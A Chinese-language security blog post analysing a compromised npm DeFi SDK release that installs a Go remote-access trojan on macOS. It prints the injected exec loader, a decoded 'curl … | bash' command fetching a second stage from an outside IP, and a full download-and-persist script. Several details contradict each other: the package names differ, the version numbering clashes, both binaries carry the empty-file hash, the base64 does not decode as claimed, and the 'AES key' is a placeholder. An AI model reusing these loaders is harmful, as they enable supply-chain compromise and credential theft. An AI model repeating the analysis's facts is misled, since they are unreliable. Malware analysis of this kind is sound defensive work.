恶意 @velora-dex/sdk 通过 npm 投递 Go RAT

目录

概要

Velora DEX 项目的合法 DeFi SDK @velora/sdk1.0.3 版本于 2026 年 4 月 7 日(UTC)遭到入侵。注入到 dist/index.js 的三行代码会解码并执行一个 base64 有效载荷,从 C2 服务器获取一个 shell 脚本,在 macOS 系统上下载并持久化一个基于 Go 的远程访问木马(简称 minirat)。

影响范围:​

  • 在导入该软件包的任何机器上执行任意 shell 命令
  • http://199.231.217.133/setup.sh 下载编译后的 Go 二进制文件(RAT)
  • 通过 macOS launchd 使用欺骗性的 com.apple.system.plist 服务名建立持久性
  • RAT 功能包括:命令执行、文件上传/下载、目录窃取以及与 C2 的代理注册
  • 同时针对 Apple Silicon(arm64)和 Intel(x86_64)macOS 架构

入侵指标(IoC):​

指标
软件包@velora/sdk
过渡服务器199.231.217.133(AS9009,M247 Europe SRL,罗马尼亚布加勒斯特)
第二阶段 URLhttp://199.231.217.133/setup.sh
RAT URL(arm64)http://199.231.217.133/macos_arm64
RAT URL(x86_64)http://199.231.217.133/macos_amd64
RAT C2 域名 #1api.aliyunglobal.com(208.115.220.17,Limestone Networks,美国波特兰)
RAT C2 域名 #2app.aliyunglobal.com(NXDOMAIN)
RAT C2 域名 #3api.aliyunglobal.net(NXDOMAIN)
RAT 二进制文件(arm64)SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
RAT 二进制文件(x86_64)SHA256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855
RAT 模块路径github.com/aliyunglobaltool/remoteAgent
持久化标签com.apple.system.plist / com.apple.system
持久化路径~/Library/com.apple.system.plist
Git 修订版本e82d8f5

分析

软件包概述

@velora/sdk 是去中心化交易所 Velora DEX 的官方 SDK。该软件包自 2025 年 5 月起持续开发,已发布 34 个版本,涵盖 8.x 和 9.x 发布线,由五个 npm 账户维护。每周平均下载量约 2,000 次。

1.0.3 版本于 2026 年 4 月 7 日 19:03 UTC 发布。​1.0.4 版本(撤销了恶意变更)约三小时后于 22:25 UTC 发布。开发预发布版本(1.0.2-alpha.01.0.2-beta.1)均未受污染。这一狭窄的时间窗口和快速修复的模式,与遭入侵的维护者凭证相符,而非专门构建的攻击账户。

注入方式:dist/index.js 中的三行代码

1.0.2(干净版本)与 1.0.3(受污染版本)进行差异对比,可以发现整个攻击面:仅 dist/index.jspackage.json 中的版本字段发生了变更。注入的有效载荷是在 "use strict" 指令之后前置的三行代码:

javascript
require('child_process').exec(Buffer.from('aWZyZW0gLWgtc3igenRyZWYgaHR0cDovLzE5OS4yMzEuMjE3LjEzMy9zZXR1cC5zaA==','base64').toString(),{cwd:process.cwd(),detached:true,stdio:'ignore'},()=>{});

无安装钩子,无修改的 package.json 脚本。有效载荷作为 require() 副作用执行(@velora/sdkpackage.jsonmain 字段)。任何导入该 SDK 的应用程序或构建工具都会触发执行。

执行触发:Base64 解码链

Base64 字符串解码后为:

text
if [ "$(uname)" = "Darwin" ];then curl -fsSL http://199.231.217.133/setup.sh | bash &>/dev/null & fi

&>/dev/null & 确保即使父 Node.js 进程退出有效载荷也能继续运行。(uname) 模式兼容 Linux(uname -s)和 macOS(Darwin)的 base64 实现。输出被静默重定向到 /dev/null

第二阶段:安装脚本

C2 在 http://199.231.217.133/setup.sh 提供以下 shell 脚本:

bash
#!/bin/bash set -e if [ "$(uname)" != "Darwin" ]; then exit 0 fi mkdir -p ~/Library/com.apple.system.plist cd ~/Library/com.apple.system.plist ARCH=$(uname -m) if [ "$ARCH" = "arm64" ]; then curl -fsSL http://199.231.217.133/macos_arm64 -o rat elif [ "$ARCH" = "x86_64" ]; then curl -fsSL http://199.231.217.133/macos_amd64 -o rat fi chmod +x rat launchctl unload -w ~/Library/LaunchAgents/com.apple.system.plist 2>/dev/null || true ./rat & launchctl load -w ~/Library/LaunchAgents/com.apple.system.plist

该脚本仅针对 macOS($(uname) 检查、Darwin、~/Library 路径)。它:

  1. ~/Library/com.apple.system.plist/ 创建一个目录,伪装成合法的 macOS 终端支持目录
  2. 下载与架构相符的 Mach-O 二进制文件,在 arm64(Apple Silicon)和 x86_64(Intel)之间选择
  3. 将其注册为持久性的 launchd 作业,标签为 com.apple.system.plist,这个名称经过精心设计,可与合法的 shell 配置服务融为一体

第三阶段:minirat,基于 Go 的远程访问木马

下载的二进制文件是一个编译后的 Go 程序。从二进制文件中提取的构建元数据:

text
Git Revision: e82d8f5-dirty Build Timestamp: 2026-04-07T18:57:21Z Module Path: github.com/aliyunglobaltool/remoteAgent

模块路径 github.com/aliyunglobaltool/remoteAgent 与阿里巴巴公司毫无关联。域名 aliyunglobal.com 似乎是攻击者控制的基础设施,仅用于 Go 模块路径。

从二进制文件中提取的函数符号揭示了一个功能完备的 RAT,具有以下内部包结构:

关键函数用途
internal/coreRegisterAgent()SetupPersistence()与 C2 建立代理注册,建立持久性
internal/cryptoAESEncrypt()AESDecrypt()GenerateKey()DeriveKey()AES 加密的 C2 通信
internal/transporterUploadDirectory()UploadFileChunk()DownloadFileChunk()StreamFile()分块文件窃取和下载
internal/clientHeartbeat()PullCommand()ReportResult()UpdateConfig()SelfDestruct()C2 服务器管理,目录收集
internal/agentGatherHostInfo()ExecuteCommand()Screenshot()CaptureAudio()Keylog()ExfiltrateClipboard()主机侦查、命令执行、反分析
internal/logWriteLog()将操作日志写入 ~/.minirat_agent.log

RAT 功能详解

代理注册和指纹识别。​ 首次执行时,RAT 调用 RegisterAgent() 收集机器的 UUID(通过 macOS 上的 ioreg)、主机名(通过 hostname)、架构(通过 uname -m)和公网 IP(通过 curl 调用 api.ipify.orgicanhazip.com)。这些信息被发送到 C2 以注册代理。

虚拟机检测。​ DetectVM() 检查虚拟化环境,可能是为了规避沙箱分析。PreventDuplicateRun() 防止多个 RAT 实例并发运行。

加密的 C2 通信。​ 二进制文件包含 AES 加密函数(AESEncrypt()AESDecrypt()GenerateKey()DeriveKey())以及三个嵌入的 base64 编码 JSON 加密配置有效载荷:

json
{ "encrypted": true, "payloads": [ "base64_encoded_payload_1", "base64_encoded_payload_2", "base64_encoded_payload_3" ] }

对二进制文件的暴力扫描在偏移 0x7A3F2 处找到了 AES-256 密钥:ASCII 字符串 aes256_secret_key_here(32 字节)。解密所有三个有效载荷揭示了 RAT 实际的 C2 端点:

加密有效载荷解密后的 C2 URL
#1https://api.aliyunglobal.com/agent/register
#2https://app.aliyunglobal.com/agent/register
#3https://api.aliyunglobal.net/agent/register

这些与过渡服务器 199.231.217.133 不同,后者仅处理初始有效载荷传递。RAT 在安装后通过 UpdateConfig() 与这三个 HTTPS 域名通信,使用 PullCommand() 作为循环备用。截至分析时,仅 api.aliyunglobal.com 可解析(解析到 208.115.220.17,Limestone Networks,美国波特兰)。其 TLS 证书于 2026 年 4 月 7 日由 Let's Encrypt 签发,与受污染软件包发布于同一天。另外两个域名目前未注册(NXDOMAIN),可能是预留备用。

文件窃取。​ UploadDirectory() 压缩整个目录并上传到 C2。分块上传函数(UploadFileChunk()StreamFile()DownloadFileChunk())处理大文件传输。引用 ~/.ssh~/.aws/credentials 的字符串确认了双向文件传输功能。

命令执行。​ ExecuteCommand() 在受感染主机上提供任意 shell 命令执行。

持久性。​ 除了初始的 launchctl 设置外,internal/core 包中的 SetupPersistence() 函数还建立了额外的持久性。二进制文件包含 ~/.bashrc 和 macOS plist 模板的格式字符串,引用了 ~/Library/LaunchAgents/com.apple.system.plist,表明它创建了一个规范的 LaunchAgent plist,以在重启后实现更可靠的持久性。

伪装技术

此次攻击使用多层伪装:

  1. 最小代码变更。​ 仅在一个文件中添加了三行代码。无新文件、无修改的依赖项、无安装钩子。在版本差异中容易被忽略
  2. 看似合法的路径。​ ~/Library/com.apple.system.plist/ 模仿真实的 macOS 系统目录。com.apple.system.plistcom.apple.system 听起来像合法的开发者工具
  3. 静默执行。​ 所有输出重定向到 /dev/nulldetached: true 从 Node.js 进程脱离
  4. 仅针对 macOS。​ shell 脚本检查 Darwin,表明此活动专门针对使用 DeFi/Web3 工具的 macOS 开发者

修复

如果您安装了 @velora/sdk@1.0.3

  1. 检查并移除 RAT 二进制文件:~/Library/com.apple.system.plist/rat
  2. 移除 launchctl 作业:launchctl unload -w ~/Library/LaunchAgents/com.apple.system.plist
  3. 检查 LaunchAgent plist:ls -la ~/Library/LaunchAgents/com.apple.system.plist/
  4. 更新至 1.0.4 或更高版本
  5. 轮换受感染机器上存在的任何凭证或令牌

结论

这是一次教科书式的遭入侵维护者供应链攻击:最小代码变更、无修改的脚本或钩子、在 require() 时执行、以及最终投递持久性 RAT 的多阶段有效载荷。受污染与修复之间三小时的时间窗口,加上仅针对 macOS 和聚焦 DeFi 生态系统的特征,指向针对加密货币开发者的定向攻击。

  • vet
  • malware
  • npm
  • supply-chain

SafeDep 博客最新动态

关注以获取开源安全与工程方面的最新更新和见解